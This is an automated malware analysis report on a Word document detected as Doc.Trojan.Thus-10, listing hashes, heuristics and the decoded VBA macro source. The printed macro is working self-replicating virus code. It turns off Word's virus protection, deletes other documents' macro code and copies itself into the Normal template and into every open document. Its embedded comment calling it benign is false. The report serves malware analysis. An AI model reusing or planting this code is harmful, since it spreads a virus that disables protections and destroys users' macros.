Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8dde9bc6ed208ec4…

MALICIOUS

Office (OLE)

784.0 KB Created: 2008-11-11 13:50:00 Authoring application: Microsoft Word 11.5.3 First seen: 2017-12-24
MD5: a171517f585ea1240142a88c8a28715a SHA-1: f590ba1eb8592526ea4c49953b99ba0bc91e1bd8 SHA-256: 8dde9bc6ed208ec4d83806fca0a1eedc8405f8e2f5643e5e4749533e9b728295
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as malicious by ClamAV with the signature 'Doc.Trojan.Thus-10'. It contains VBA macros, including a 'Document_Open' macro, which is a common technique for executing malicious code upon opening the document. The script attempts to copy itself to other documents and templates, indicating a self-replication or persistence mechanism.

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/iX/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2279 bytes
SHA-256: 2a1e18e626c5f2761c260ae7fc0b9205f454f7d96c91f812fcab3dbb518866eb
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'Anti-Smyser'
' This virus is an alteration of a virus which was
' designed to delete all files from one's C: drive on Dec 13th.
' This code is completely benign.
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
    Next k
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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